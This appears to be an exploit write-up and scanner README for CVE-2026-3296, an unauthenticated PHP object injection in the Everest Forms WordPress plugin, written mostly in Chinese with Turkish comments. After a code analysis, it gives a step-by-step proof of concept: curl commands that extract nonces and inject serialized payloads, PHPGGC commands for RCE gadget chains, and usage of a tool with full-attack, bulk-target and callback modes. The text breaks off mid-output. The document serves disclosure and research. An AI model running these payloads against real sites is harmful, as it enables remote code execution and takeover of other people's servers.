CVE-2026-3296
CVE-2026-3296 是 Everest Forms WordPress 插件中的一个 CVSS 9.8 严重级别的未认证 PHP 对象注入漏洞
插件: Everest Forms – Contact Form, Payment Form, Quiz, Survey & Custom Form Builder
插件别名(Slug): everest-forms
CVE ID: CVE-2026-3296
CVSS 评分: 9.8(严重)
CVSS 向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
漏洞类型: 未认证 PHP Object Injection → RCE
受影响版本: <= 3.4.3
已修复版本: 3.4.4
发布日期: 2026 年 4 月 7 日
研究人员: 0xsabre — Mobikwik / Wordfence
📌 漏洞详情
Everest Forms 插件在管理后台显示表单条目元数据时,会调用 PHP 原生的 unserialize() 函数,并且未传入 allowed_classes 参数。
未认证的攻击者可以将序列化的 PHP 对象 payload 嵌入任意公开表单字段,并将其保存到数据库中。当管理员在后台查看条目时,unserialize() 被触发,环境中的任意 POP gadget chain 都会被调用。
🔍 漏洞摘要
⚙️ 技术分析
两阶段攻击模型
FAZ 1 — ENJEKSIYON (Kimlik doğrulama gerekmez)
FAZ 2 — TETİKLEME (Admin panel görüntülemesi)
阶段 1 — 注入:Payload 存储
// Her front-end sayfa yüklemesinde tetiklenir
add_action( 'wp', array( $this, 'listen_task' ) );
// line 109 — kullanıcı verisi sanitize edilerek işlenir
$this->do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) );
为什么净化处理不充分(evf-core-functions.php,第 4754 行)
// sanitize_text_field() HTML tag, null byte siler
// PHP serialization karakterlerini (O:, s:, {, }, ;) SİLMEZ
default:
$entry['form_fields'][$key] = sanitize_text_field(
$entry['form_fields'][$key]
);
该 payload 经过 sanitize_text_field() 之后完全保留:
O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}
额外 Bug — 提前返回(第 4764 行)
// return $entry; ifadesi foreach döngüsü İÇİNDE
// → Yalnızca ilk alan sanitize edilir, geri kalan alanlar ham kalır
foreach ($entry['form_fields'] as $key => $value) {
...
return $entry; // ← BUG: döngü ilk iterasyonda çıkar
}
$entry_metadata = array(
'entry_id' => $entry_id,
'meta_key' => sanitize_key( $field['meta_key'] ),
'meta_value' => maybe_serialize( $field['value'] ),
// maybe_serialize() düz string'i değiştirmez
// → Serialized object string verbatim yazılır
);
$wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata );
阶段 2 — 触发:不安全的反序列化
存在漏洞的代码(html-admin-page-entries-view.php,第 130–133 行)
$meta_value = is_serialized( $meta_value )
? $meta_value
: wp_strip_all_tags( $meta_value );
if ( is_serialized( $meta_value ) ) {
$raw_meta_val = unserialize( $meta_value );
// ↑ allowed_classes parametresi YOK
// PHP varsayılanı: TÜM sınıflar instantiate edilebilir
// → POP gadget chain tetiklenir
}
已有安全包装函数但未使用(evf-core-functions.php,第 5594 行)
// Bu fonksiyon zaten mevcuttu — sadece çağrılmadı
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options); // Güvenli
}
return null;
}
return $data;
}
为什么 Nonce 无法提供保护?
<!-- Public form HTML'inde gömülü — herkes okuyabilir -->
<input type="hidden" name="_wpnonce123" value="abc123def456">
Nonce 提供的是 CSRF 防护,而非身份认证。
攻击者通过 GET 打开表单页面读取 nonce,随后
通过 POST 发送 payload。
🔴 完整攻击链
┌──────────────────────────────────────────────────────────────┐
│ FAZ 1 — ENJEKSIYON (Unauthenticated) │
│ │
│ GET /contact/ │
│ → form_id=123, nonce=abc123, field=text_xyz │
│ │
│ POST /contact/ │
│ everest_forms[id]=123 │
│ everest_forms[form_fields][text_xyz]=O:8:"Evil":1:{...} │
│ _wpnonce123=abc123 │
│ │ │
│ ├── sanitize_text_field() → serialization korunur │
│ ├── maybe_serialize() → string değişmez │
│ └── wp_evf_entrymeta.meta_value = "O:8:\"Evil\"..." │
└──────────────────────────┬───────────────────────────────────┘
│ (Admin rutin kontrol yapar)
┌──────────────────────────▼───────────────────────────────────┐
│ FAZ 2 — TETİKLEME (Admin Panel) │
│ │
│ GET /wp-admin/admin.php │
│ ?page=evf-entries&form_id=123&view-entry=456 │
│ │ │
│ ├── is_serialized($meta_value) = true │
│ ├── unserialize($meta_value) ← ZAFIYET │
│ │ allowed_classes = (yok) → tüm sınıflar │
│ └── POP gadget chain → __wakeup() / __destruct() │
│ → RCE / File Write / Data Exfil │
└──────────────────────────────────────────────────────────────┘
🧪 概念验证(手动)
⚠️ 免责声明: 本 PoC 仅用于教育和防御性安全研究。
前提条件:
- 已安装并启用 Everest Forms <= 3.4.3
- 可公开访问的表单页面
- 可访问管理后台(用于触发)
步骤 1 — 获取表单 ID 和 Nonce
TARGET="https://target-site.example.com/contact/"
# Form ID çıkar
curl -s "$TARGET" | grep -oP 'name="everest_forms\[id\]" value="\K[0-9]+'
# Nonce çıkar
curl -s "$TARGET" | grep -oP '(?<=name="_wpnonce)[0-9]+" value="\K[^"]+'
步骤 2 — 构造良性测试 Payload
# Güvenli test — stdClass, magic method yok
PAYLOAD='O:8:"stdClass":2:{s:6:"source";s:14:"CVE-2026-3296";s:6:"pwned";s:3:"yes";}'
在真实环境中,使用 PHPGGC 生成 POP chain:
# WordPress/RCE1 chain
phpggc WordPress/RCE1 system "id" -s
# Monolog chain
phpggc Monolog/RCE1 system "id" -s
步骤 3 — 注入 Payload
FORM_ID="123"
NONCE="abcdef1234"
FIELD="text_abc123"
curl -s -X POST "$TARGET" \
-d "everest_forms[id]=${FORM_ID}" \
-d "everest_forms[form_fields][${FIELD}]=${PAYLOAD}" \
-d "_wpnonce${FORM_ID}=${NONCE}" \
-d "everest_forms[hp][abc]="
预期结果:显示表单成功消息或跳转。
步骤 4 — 在数据库中验证(WP-CLI)
wp db query \
"SELECT meta_value FROM wp_evf_entrymeta ORDER BY meta_id DESC LIMIT 3;" \
--allow-root
# O:8:"stdClass":2:{...} satırı görünmeli
步骤 5 — 以管理员身份触发
https://target-site.example.com/wp-admin/admin.php
?page=evf-entries
&form_id=123
&view-entry=<ENTRY_ID>
页面加载时 unserialize() 即会执行。
步骤 6 — 验证 Gadget Chain(测试环境)
// test-gadget.php — SADECE TEST ORTAMINDA KULLAN
class TestGadget {
public function __wakeup() {
file_put_contents(
'/tmp/pwned.txt',
'PHP Object Injection confirmed at ' . date('c')
);
}
}
cat /tmp/pwned.txt
# PHP Object Injection confirmed at 2026-04-08T...
🛠️ 自动扫描器
安装
git clone https://github.com/kullanici/cve-2026-3296-scanner
cd cve-2026-3296-scanner
pip install -r requirements.txt
requirements.txt
🚀 使用方法
漏洞检测(良性 Payload)
python everest_forms_poi.py -u http://hedef.com --mode scan
仅注入(阶段 1)
python everest_forms_poi.py -u http://hedef.com --mode inject \
--payload-type probe
完整攻击(阶段 1 + 阶段 2)
python everest_forms_poi.py -u http://hedef.com --mode full \
--admin-user admin --admin-pass Pass123!
python everest_forms_poi.py -u http://hedef.com --mode inject \
--form-id 5 --field-name text_abc123 \
--custom-payload 'O:8:"stdClass":1:{s:4:"test";s:2:"ok";}'
通过 OOB 回调检测(Burp Collaborator)
python everest_forms_poi.py -u http://hedef.com --mode scan \
--payload-type ssrf \
--callback-url http://your.burp.collaborator.net
批量扫描
python everest_forms_poi.py -l targets.txt -t 10 \
--mode scan -o sonuclar.txt
使用代理(Burp Suite)
python everest_forms_poi.py -u http://hedef.com --mode full \
--admin-user admin --admin-pass Pass123! \
--proxy http://127.0.0.1:8080
⚙️ 参数
模式
| 模式 | 说明 |
|---|
scan | 注入良性 payload — 漏洞检测 |
inject | 仅阶段 1 — 存储 payload |
trigger | 仅阶段 2 — 使用管理员登录触发 |
|
通用参数
表单参数
Payload 选项
管理员凭据
| 参数 | 说明 |
|---|
--admin-user | 管理员用户名 |
--admin-pass | 管理员密码 |
💀 Payload 类型
💡 使用 PHPGGC 生成真实 Chain:
# WordPress/RCE1
phpggc WordPress/RCE1 system "id" -s
# Monolog/RCE1
phpggc Monolog/RCE1 system "id" -s
# Tüm mevcut chain'leri listele
phpggc -l
📊 扫描器输出状态
🖥️ 示例扫描器输出
[*] Hedef : http://hedef.com
[*] Mod : full
[*] Payload Tipi : probe
[*] Komut : id
[*] Admin User : admin
[→] http://hedef.com Adım 1: Everest Forms formu aranıyor...
[→] http://hedef.com Adım 2: Payload enjekte ediliyor...
[→] http://hedef.com Adım 3: Admin girişi yapılıyor...
[→] http://hedef.com Adım 4: Entry ID aranıyor...
[→] http://hedef.com Adım 5: unser